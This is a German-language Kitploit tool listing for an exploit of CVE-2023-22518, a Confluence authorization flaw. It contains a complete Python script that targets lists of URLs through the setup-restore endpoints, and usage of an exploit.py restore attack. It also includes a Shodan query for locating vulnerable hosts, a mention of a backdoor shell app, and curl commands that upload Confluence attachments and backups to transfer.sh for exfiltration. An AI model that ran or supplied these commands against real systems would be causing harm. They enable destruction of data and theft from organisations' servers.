Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-22518 — Unsachgemäße Autorisierungsschwachstelle in Confluence Data Center und Server | Kitploit
Tools/GitHubGitHub/forcefledgling/cve-2023-22518
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and Control
GitHubforcefledgling/cve-2023-22518

CVE-2023-22518

Unsachgemäße Autorisierungsschwachstelle in Confluence Data Center und Server

Repository anzeigen
619vor 2 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2023-22518

Schwachstelle durch fehlerhafte Autorisierung in Confluence Data Center und Server.

Atlassian hat Administratoren auf eine kritische Schwachstelle in Confluence hingewiesen. Die Ausnutzung dieses Problems kann zu Datenverlust führen, daher empfehlen die Entwickler dringend, die Patches so schnell wie möglich zu installieren.

Es wird darauf hingewiesen, dass die Schwachstelle nicht für Datenabfluss genutzt werden kann und keine Auswirkungen auf Atlassian-Cloud-Sites hat, die über die Domain atlassian.net aufgerufen werden.

https://confluence.atlassian.com/security/cve-2023-22518-improper-authorization-vulnerability-in-confluence-data-center-and-server-1311473907.html

https://jira.atlassian.com/browse/CONFSERVER-93142

ProduktBetroffene VersionenBehobene Versionen
Confluence Data CenterAlle Versionen sind betroffen7.19.16 oder neuer
Confluence Server8.3.4 oder neuer
8.4.4 oder neuer
8.5.3 oder neuer
8.6.1 oder neuer

Ausnutzung

Klasse: Fehlerhafte Autorisierung

CWE: CWE-285 / CWE-266

ATT&CK: T1548.002

Bekannte Angriffsvektoren 🔥

/json/setup-restore.action

/json/setup-restore-local.action

/json/setup-restore-progress.action

/server-info.action Community-Forum

Ein einfaches Beispiel für einen Schwachstellentest in Python

root@kitploit:~
import requests
import random
import string
import argparse
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def random_string(length=10):
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for i in range(length))

def post_setup_restore(baseurl):
    paths = ["/json/setup-restore.action", "/json/setup-restore-local.action", "/json/setup-restore-progress.action", "/server-info.action"]
    for path in paths:
        url = f"{baseurl.rstrip('/')}{path}"

        headers = {
            "X-Atlassian-Token": "no-check",
            "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryT3yekvo0rGaL9QR7"
        }

        rand_str = random_string()
        data = (
            "------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
            "Content-Disposition: form-data; name=\"buildIndex\"\r\n\r\n"
            "true\r\n"
            "------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
            f"Content-Disposition: form-data; name=\"file\";filename=\"{rand_str}.zip\"\r\n\r\n"
            f"{rand_str}\r\n"
            "------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
            "Content-Disposition: form-data; name=\"edit\"\r\n\r\n"
            "Upload and import\r\n"
            "------WebKitFormBoundaryT3yekvo0rGaL9QR7--\r\n"
        )

        try:
            response = requests.post(url, headers=headers, data=data.encode('utf-8'), timeout=10, verify=False)

            if (response.status_code == 200 and
                'The zip file did not contain an entry' in response.text and 
                'exportDescriptor.properties' in response.text):
                print(f"[+] Vulnerable to CVE-2023-22518 on host {url}!")
            else:
                print(f"[-] Not vulnerable to CVE-2023-22518 for host {url}.")
        except requests.RequestException as e:
            print(f"[*] Error connecting to {url}. Error: {e}")

def main():
    parser = argparse.ArgumentParser(description="Post setup restore script")
    parser.add_argument('--url', help='The URL to target', required=False)
    parser.add_argument('--file', help='Filename containing a list of URLs', required=False)
    args = parser.parse_args()

    if args.url:
        post_setup_restore(args.url)
    elif args.file:
        with open(args.file, 'r') as f:
            for line in f:
                url = line.strip()
                if url:
                    post_setup_restore(url)
    else:
        print("You must provide either --url or --file argument.")

if __name__ == "__main__":
    main()

Exploit verwenden 🔥

exploit.py

root@kitploit:~
python3 exploit.py
Enter the URL: http://REDACTED:8090/json/setup-restore.action?synchronous=true
Enter the path to the .zip file: /path/xmlexport-20231109-060519-1.zip

Bonus 🔥

Shodan-Suche:

root@kitploit:~
http.favicon.hash:-305179312

exploit-restore.zip

Confluence Backdoor Shell App

Beim Zurücksetzen von Confluence mithilfe dieser Schwachstelle bleibt das Verzeichnis %CONFLUENCE_HOME%/attachments voller Dateien zurück, möglicherweise in Tausenderzahl. Sie alle zu extrahieren ist recht einfach, und ihre Dateierweiterungen können mit dem Linux-Befehl file ermittelt werden. Zum Beispiel:

root@kitploit:~
file /var/lib/confluence/attachments/v4/191/28/77273124/77273124.1
/var/lib/confluence/attachments/v4/191/28/77273124/77273124.1: PNG image data, 442 x 170, 8-bit/color RGBA, non-interlaced

or

file /var/atlassian/application-data/confluence/attachments/v4/114/128/3506237/3506237.1
/var/atlassian/application-data/confluence/attachments/v4/114/128/3506237/3506237.1: PNG image data, 1250 x 674, 8-bit/color RGBA, non-interlaced

Beispiel, wie man ein Verzeichnis einfach archiviert und das Archiv extrahiert:

root@kitploit:~
tar -czvf /var/atlassian/application-data/confluence/attachments_backup.tar.gz /var/atlassian/application-data/confluence/attachments
curl --upload-file /var/atlassian/application-data/attachments_backup.tar.gz https://transfer.sh/attachments_backup.tar.gz
https://transfer.sh/***********/attachments_backup.tar.gz

or

curl --upload-file /var/atlassian/application-data/confluence/backups/backup-2023_09_26.zip https://transfer.sh/backup-2023_09_26.zip
https://transfer.sh/***********/backup-2023_09_26.zip

Neuartige Backdoor bleibt nach Patch der kritischen Confluence-Schwachstelle bestehen

Weitere nützliche Informationen

Tool herunterladen